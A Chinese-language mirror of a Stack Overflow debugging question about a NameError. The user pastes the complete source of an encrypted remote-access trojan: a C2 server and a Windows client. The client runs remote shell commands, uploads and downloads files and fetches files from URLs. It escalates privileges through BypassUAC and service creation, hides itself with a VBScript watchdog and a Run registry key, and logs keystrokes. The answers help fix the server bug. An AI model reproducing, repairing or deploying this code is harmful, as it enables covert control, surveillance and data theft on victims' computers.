Python 脚本名称未定义
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【中文标题】Python 脚本名称未定义【英文标题】：Python Script Name Not Defined 【发布时间】：2014-10-22 12:01:57 【问题描述】：我对 Python 很陌生。我关注了simple Python tutorial，但没有得到预期的结果。
在客户端运行编译后的可执行文件后，客户端显示在我的服务器上。但是，当我选择客户端编号 (1) 时，python 脚本会立即退出，并且在远程 Linux 服务器上运行时出现以下错误：
Activating client: ('172.51.8.204', 18268)
Traceback (most recent call last):
File "xmulti_aeserver.py", line 207, in <module>
if nextcmd.startswith("download ") == True:
NameError: name 'nextcmd' is not defined
在 Windows 服务器上本地运行时，脚本不会退出，但服务器会像这样断开客户端的连接：
Activating client: ('192.168.1.104', 26042)
Client disconnected... ('192.168.1.104', 26042)
我一直在阅读有关名称错误的信息，但我看不出我正在使用的代码有什么问题。
这是我的服务器代码 (xmulti_aeserver.py)：
#!/usr/bin/env python
from Crypto.Cipher import AES
import socket, base64, os, time, sys, select
from Crypto import Random
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
# generate a random secret key
secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"
iv = Random.new().read(16)
# clear function
##################################
# Windows ---------------> cls
# Linux ---------------> clear
if os.name == 'posix': clf = 'clear'
if os.name == 'nt': clf = 'cls'
clear = lambda: os.system(clf)
# initialize socket
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
c.bind(('0.0.0.0', 443))
c.listen(128)
# client information
active = False
clients = []
socks = []
interval = 0.8
# Functions
###########
# send data
def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
sock.sendall(EncodeAES(cipher, cmd + end))
# receive data
def Receive(sock, end="EOFEOFEOFEOFEOFX"):
data = ""
l = sock.recv(1024)
while(l):
decrypted = DecodeAES(cipher, l)
data += decrypted
if data.endswith(end) == True:
break
else:
l = sock.recv(1024)
return data[:-len(end)]
# download file
def download(sock, remote_filename, local_filename=None):
# check if file exists
if not local_filename:
local_filename = remote_filename
try:
f = open(local_filename, 'wb')
except IOError:
print "Error opening file.\n"
Send(sock, "cd .")
return
# start transfer
Send(sock, "download "+remote_filename)
print "Downloading: " + remote_filename + " > " + local_filename
fileData = Receive(sock)
f.write(fileData)
time.sleep(interval)
f.close()
time.sleep(interval)
# upload file
def upload(sock, local_filename, remote_filename=None):
# check if file exists
if not remote_filename:
remote_filename = local_filename
try:
g = open(local_filename, 'rb')
except IOError:
print "Error opening file.\n"
Send(sock, "cd .")
return
# start transfer
Send(sock, "upload "+remote_filename)
print 'Uploading: ' + local_filename + " > " + remote_filename
while True:
fileData = g.read()
if not fileData: break
Send(sock, fileData, "")
g.close()
time.sleep(interval)
Send(sock, "")
time.sleep(interval)
# refresh clients
def refresh():
clear()
print '\nListening for clients...\n'
if len(clients) > 0:
for j in range(0,len(clients)):
print '[' + str((j+1)) + '] Client: ' + clients[j] + '\n'
else:
print "...\n"
# print exit option
print "---\n"
print "[0] Exit \n"
print "\nPress Ctrl+C to interact with client."
# main loop
while True:
refresh()
# listen for clients
try:
# set timeout
c.settimeout(10)
# accept connection
try:
s,a = c.accept()
except socket.timeout:
continue
# add socket
if (s):
s.settimeout(None)
socks += [s]
clients += [str(a)]
# display clients
refresh()
# sleep
time.sleep(interval)
except KeyboardInterrupt:
# display clients
refresh()
# accept selection --- int, 0/1-128
activate = input("\nEnter option: ")
# exit
if activate == 0:
print '\nExiting...\n'
for j in range(0,len(socks)):
socks[j].close()
sys.exit()
# subtract 1 (array starts at 0)
activate -= 1
# clear screen
clear()
# create a cipher object using the random secret
cipher = AES.new(secret,AES.MODE_CFB, iv)
print '\nActivating client: ' + clients[activate] + '\n'
active = True
Send(socks[activate], 'Activate')
# interact with client
while active:
try:
# receive data from client
data = Receive(socks[activate])
# disconnect client.
except:
print '\nClient disconnected... ' + clients[activate]
# delete client
socks[activate].close()
time.sleep(0.8)
socks.remove(socks[activate])
clients.remove(clients[activate])
refresh()
active = False
break
# exit client session
if data == 'quitted':
# print message
print "Exit.\n"
# remove from arrays
socks[activate].close()
socks.remove(socks[activate])
clients.remove(clients[activate])
# sleep and refresh
time.sleep(0.8)
refresh()
active = False
break
# if data exists
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
# download
if nextcmd.startswith("download ") == True:
if len(nextcmd.split(' ')) > 2:
download(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
else:
download(socks[activate], nextcmd.split(' ')[1])
# upload
elif nextcmd.startswith("upload ") == True:
if len(nextcmd.split(' ')) > 2:
upload(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
else:
upload(socks[activate], nextcmd.split(' ')[1])
# normal command
elif nextcmd != '':
Send(socks[activate], nextcmd)
elif nextcmd == '':
print 'Think before you type. ;)\n'
这是我的客户端代码（xmulti_aeshell.py）：
#!/usr/bin/python
from Crypto.Cipher import AES
import subprocess, socket, base64, time, os, sys, urllib2, pythoncom, pyHook, logging
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
# generate a random secret key
secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"
# server config
HOST = '192.168.1.104'
PORT = 443
# session controller
active = False
# Functions
###########
# send data function
def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
sock.sendall(EncodeAES(cipher, cmd + end))
# receive data function
def Receive(sock, end="EOFEOFEOFEOFEOFX"):
data = ""
l = sock.recv(1024)
while(l):
decrypted = DecodeAES(cipher, l)
data = data + decrypted
if data.endswith(end) == True:
break
else:
l = sock.recv(1024)
return data[:-len(end)]
# prompt function
def Prompt(sock, promptmsg):
Send(sock, promptmsg)
answer = Receive(sock)
return answer
# upload file
def Upload(sock, filename):
bgtr = True
# file transfer
try:
f = open(filename, 'rb')
while 1:
fileData = f.read()
if fileData == '': break
# begin sending file
Send(sock, fileData, "")
f.close()
except:
time.sleep(0.1)
# let server know we're done..
time.sleep(0.8)
Send(sock, "")
time.sleep(0.8)
return "Finished download."
# download file
def Download(sock, filename):
# file transfer
g = open(filename, 'wb')
# download file
fileData = Receive(sock)
time.sleep(0.8)
g.write(fileData)
g.close()
# let server know we're done..
return "Finished upload."
# download from url (unencrypted)
def Downhttp(sock, url):
# get filename from url
filename = url.split('/')[-1].split('#')[0].split('?')[0]
g = open(filename, 'wb')
# download file
u = urllib2.urlopen(url)
g.write(u.read())
g.close()
# let server know we're done...
return "Finished download."
# privilege escalation
def Privs(sock):
# Windows/NT Methods
if os.name == 'nt':
# get initial info
privinfo = '\nUsername: ' + Exec('echo %USERNAME%')
privinfo += Exec('systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"')
winversion = Exec('systeminfo')
windowsnew = -1
windowsold = -1
# newer versions of windows go here
windowsnew += winversion.find('Windows 7')
windowsnew += winversion.find('Windows 8')
windowsnew += winversion.find('Windows Vista')
windowsnew += winversion.find('Windows VistaT')
windowsnew += winversion.find('Windows Server 2008')
# older versions go here (only XP)
windowsold += winversion.find('Windows XP')
windowsold += winversion.find('Server 2003')
# if it is, display privs using whoami command.
if windowsnew > 0:
privinfo += Exec('whoami /priv') + '\n'
# check if user is administrator
admincheck = Exec('net localgroup administrators | find "%USERNAME%"')
# if user is in the administrator group, attempt service priv. esc. using bypassuac
if admincheck != '':
privinfo += 'Administrator privilege detected.\n\n'
# if windows version is vista or greater, bypassUAC :)
if windowsnew > 0:
# prompt for bypassuac location or url
bypassuac = Prompt(sock, privinfo+'Enter location/url for BypassUAC: ')
# attempt to download from url
if bypassuac.startswith("http") == True:
try:
c = Downhttp(sock, bypassuac)
d = os.getcwd() + '\\' + bypassuac.split('/')[-1]
except:
return "Download failed: invalid url.\n"
# attempt to open local file
else:
try:
c = open(bypassuac)
c.close()
d = bypassuac
except:
return "Invalid location for BypassUAC.\n"
# fetch executable's location
curdir = os.path.join(sys.path[0], sys.argv[0])
# add service
if windowsnew > 0: elvpri = Exec(d + ' elevate /c sc create blah binPath= "cmd.exe /c ' + curdir + '" type= own start= auto')
if windowsold > 0: elvpri = Exec('sc create blah binPath= "' + curdir + '" type= own start= auto')
# start service
if windowsnew > 0: elvpri = Exec(d + ' elevate /c sc start blah')
if windowsold > 0: elvpri = Exec('sc start blah')
# finished.
return "\nPrivilege escalation complete.\n"
# windows xp doesnt allow wmic commands by defautlt ;(
if windowsold > 0:
privinfo += 'Unable to escalate privileges.\n'
return privinfo
# attempt to search for weak permissions on applications
privinfo += 'Searching for weak permissions...\n\n'
# array for possible matches
permatch = []
permatch.append("BUILTIN\Users:(I)(F)")
permatch.append("BUILTIN\Users:(F)")
permbool = False
# stage 1 outputs to text file: p1.txt
xv = Exec('for /f "tokens=2 delims=\'=\'" %a in (\'wmic service list full^|find /i "pathname"^|find /i /v "system32"\') do @echo %a >> p1.txt')
# stage 2 outputs to text file: p2.txt
xv = Exec('for /f eol^=^"^ delims^=^" %a in (p1.txt) do cmd.exe /c icacls "%a" >> p2.txt')
# give some time to execute commands,
# 40 sec should do it... ;)
time.sleep(40)
# loop from hell to determine a match to permatch array.
ap = 0
bp = 0
dp = open('p2.txt')
lines = dp.readlines()
for line in lines:
cp = 0
while cp < len(permatch):
j = line.find(permatch[cp])
if j != -1:
# we found a misconfigured directory :)
if permbool == False:
privinfo += 'The following directories have write access:\n\n'
permbool = True
bp = ap
while True:
if len(lines[bp].split('\\')) > 2:
while bp <= ap:
privinfo += lines[bp]
bp += 1
break
else:
bp -= 1
cp += 1
ap += 1
time.sleep(4)
if permbool == True: privinfo += '\nReplace executable with Python shell.\n'
if permbool == False: privinfo += '\nNo directories with misconfigured premissions found.\n'
# close file
dp.close()
# delete stages 1 & 2
xv = Exec('del p1.txt')
xv = Exec('del p2.txt')
return privinfo
# persistence
def Persist(sock, redown=None, newdir=None):
# Windows/NT Methods
if os.name == 'nt':
privscheck = Exec('reg query "HKU\S-1-5-19" | find "error"')
# if user isn't system, return
if privscheck != '':
return "You must be authority\system to enable persistence.\n"
# otherwise procede
else:
# fetch executable's location
exedir = os.path.join(sys.path[0], sys.argv[0])
exeown = exedir.split('\\')[-1]
# get vbscript location
vbsdir = os.getcwd() + '\\' + 'vbscript.vbs'
# write VBS script
if redown == None: vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nWhile state = 1\nexist = ReportFileStatus(wshname)\nIf exist = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nElse\nWshShell.Run """' + exedir + '""",hidden\nwscript.sleep 50000\nEnd If\nvFound = False\nElse\nwscript.sleep 50000\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\n'
else:
if newdir == None:
newdir = exedir
newexe = exeown
else:
newexe = newdir.split('\\')[-1]
vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nurlname = "' + redown + '"\ndirname = "' + newdir + '"\nWhile state = 1\nexist1 = ReportFileStatus(wshname)\nexist2 = ReportFileStatus(dirname)\nIf exist1 = False And exist2 = False then\ndownload urlname, dirname\nEnd If\nIf exist1 = True Or exist2 = True then\nif exist1 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nexist2 = False\nend if\nif exist2 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(dirname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" OR objProcess.name = "' + newexe + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nEnd If\nIf vFound = False then\nIf exist1 = True then\nWshShell.Run """' + exedir + '""",hidden\nEnd If\nIf exist2 = True then\nWshShell.Run """' + dirname + '""",hidden\nEnd If\nwscript.sleep 50000\nEnd If\nvFound = False\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\nfunction download(sFileURL, sLocation)\nSet objXMLHTTP = CreateObject("MSXML2.XMLHTTP")\nobjXMLHTTP.open "GET", sFileURL, false\nobjXMLHTTP.send()\ndo until objXMLHTTP.Status = 200 : wscript.sleep(1000) : loop\nIf objXMLHTTP.Status = 200 Then\nSet objADOStream = CreateObject("ADODB.Stream")\nobjADOStream.Open\nobjADOStream.Type = 1\nobjADOStream.Write objXMLHTTP.ResponseBody\nobjADOStream.Position = 0\nSet objFSO = Createobject("Scripting.FileSystemObject")\nIf objFSO.Fileexists(sLocation) Then objFSO.DeleteFile sLocation\nSet objFSO = Nothing\nobjADOStream.SaveToFile sLocation\nobjADOStream.Close\nSet objADOStream = Nothing\nEnd if\nSet objXMLHTTP = Nothing\nEnd function\n'
# open file & write
vbs = open('vbscript.vbs', 'wb')
vbs.write(vbscript)
vbs.close()
# add registry to startup
persist = Exec('reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v blah /t REG_SZ /d "' + vbsdir + '"')
persist += '\nPersistence complete.\n'
return persist
# execute command
def Exec(cmde):
# check if command exists
if cmde:
execproc = subprocess.Popen(cmde, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmdoutput = execproc.stdout.read() + execproc.stderr.read()
return cmdoutput
# otherwise, return
else:
return "Enter a command.\n"
# keylogging function
# version 1, by K.B. Carte
##########################
# enter log filename.
LOG_STATE = True
LOG_FILENAME = 'keylog.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10,chr(event.Ascii))
return True
# main loop
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# create a cipher object using the random secret
cipher = AES.new(secret,AES.MODE_CFB, iv)
# waiting to be activated...
data = Receive(s)
# activate.
if data == 'Activate':
active = True
Send(s, "\n"+os.getcwd()+">")
# interactive loop
while active:
# Receive data
data = Receive(s)
# think before you type smartass
if data == '':
time.sleep(0.02)
# check for quit
if data == "quit" or data == "terminate":
Send(s, "quitted")
break
# check for change directory
elif data.startswith("cd ") == True:
try:
os.chdir(data[3:])
stdoutput = ""
except:
stdoutput = "Error opening directory.\n"
# check for download
elif data.startswith("download") == True:
# Upload the file
stdoutput = Upload(s, data[9:])
elif data.startswith("downhttp") == True:
# Download from url
stdoutput = Downhttp(s, data[9:])
# check for upload
elif data.startswith("upload") == True:
# Download the file
stdoutput = Download(s, data[7:])
elif data.startswith("privs") == True:
# Attempt to elevate privs
stdoutput = Privs(s)
elif data.startswith("persist") == True:
# Attempt persistence
if len(data.split(' ')) == 1: stdoutput = Persist(s)
elif len(data.split(' ')) == 2: stdoutput = Persist(s, data.split(' ')[1])
elif len(data.split(' ')) == 3: stdoutput = Persist(s, data.split(' ')[1], data.split(' ')[2])
elif data.startswith("keylog") == True:
# Begin keylogging
if LOG_STATE == False:
try:
# set to True
LOG_STATE = True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
stdoutput = "Logging keystrokes to: "+LOG_FILENAME+"...\n"
except:
ctypes.windll.user32.PostQuitMessage(0)
# set to False
LOG_STATE = False
stdoutput = "Keystrokes have been logged to: "+LOG_FILENAME+".\n"
else:
# execute command.
stdoutput = Exec(data)
# send data
stdoutput = stdoutput+"\n"+os.getcwd()+">"
Send(s, stdoutput)
# loop ends here
if data == "terminate":
break
time.sleep(3)
except socket.error:
s.close()
time.sleep(10)
continue
我将不胜感激。
【问题讨论】：
在data == ''（或not data）的情况下，您永远不会分配nextcmd。使用minimal example 会更容易；绝大多数代码与错误无关。
@jonrsharpe，谢谢。当我尝试在这种情况之前定义 data = '' 时，我得到了相同的结果。我尝试设置 data = '1'，但这也没有用。
【参考方案1】：
在xmulti_aeserver.py 上面：
# main loop
while True:
.....
写nextcmd = ''。所以它会是：
nextcmd = ''
# main loop
while True:
.....
这将定义nextcmd。
添加到这个 IF 语句：
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
elif data == '':
nextcmd = raw_input()
else:
nextcmd = raw_input()
【讨论】：
当我添加“nextcmd = None”时，我收到错误消息“python AttributeError: 'NoneType' object has no attribute 'startswith'”。我也尝试设置“startswith = None”，但得到了同样的错误。 谢谢，但是现在当我选择客户端编号 (1) 时，Python 脚本会无休止地打印“在输入之前先思考”。 ;)\n' 直到我强制脚本退出。另一方面，当我完全省略最后两行代码“elif nextcmd == '': print 'Think before you type. ;)\n'”时，当我选择客户端编号 (1) 时，Python 脚本冻结在显示“正在激活客户端：('192.0.0.103', 4153)”的屏幕上，直到我强制退出脚本。 @TechDude 再次编辑 谢谢，现在当我选择客户端编号 (1) 时，Python 脚本会冻结在显示“正在激活客户端：('192.0.0.103', 4153)”的屏幕上，直到我强制退出脚本.同时，xmulti_aeshell.exe 在我的客户端机器上关闭。 嗯，我上次的编辑是关于 cmets 和其他人回答的内容。我的答案确实用未定义的 nextcmd 解决了您的答案，但如果所有这些都不起作用，那么代码中还有其他问题。尝试在代码的某些部分进行打印，以检查打印出的内容和不打印的内容，这样您就可以捕捉到冻结的代码部分。【参考方案2】：看起来你有
if data == 'quitted':
....
elif data != '':
....
nextcmd = raw_input()
但是如果data==''，nextcmd 没有设置任何东西，这会导致你尝试使用它时出错。
【讨论】：
谢谢。当我尝试在这种情况之前定义 data = '' 时，我得到了相同的结果。我尝试设置 data = '1'，但这也没有用。【参考方案3】：您只在if-else 语句的一个分支中定义nextcmd：
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
但假设它是在第 207 行定义的。您错过了 data 是空字符串的情况，这会阻止在您尝试访问它时定义 nextcmd。
【讨论】：
谢谢。当我尝试在这种情况之前定义 data = '' 时，我得到了相同的结果。我尝试设置 data = '1'，但这也没有用。以上是关于Python 脚本名称未定义的主要内容，如果未能解决你的问题，请参考以下文章
python：NameError：全局名称'...'未定义[重复]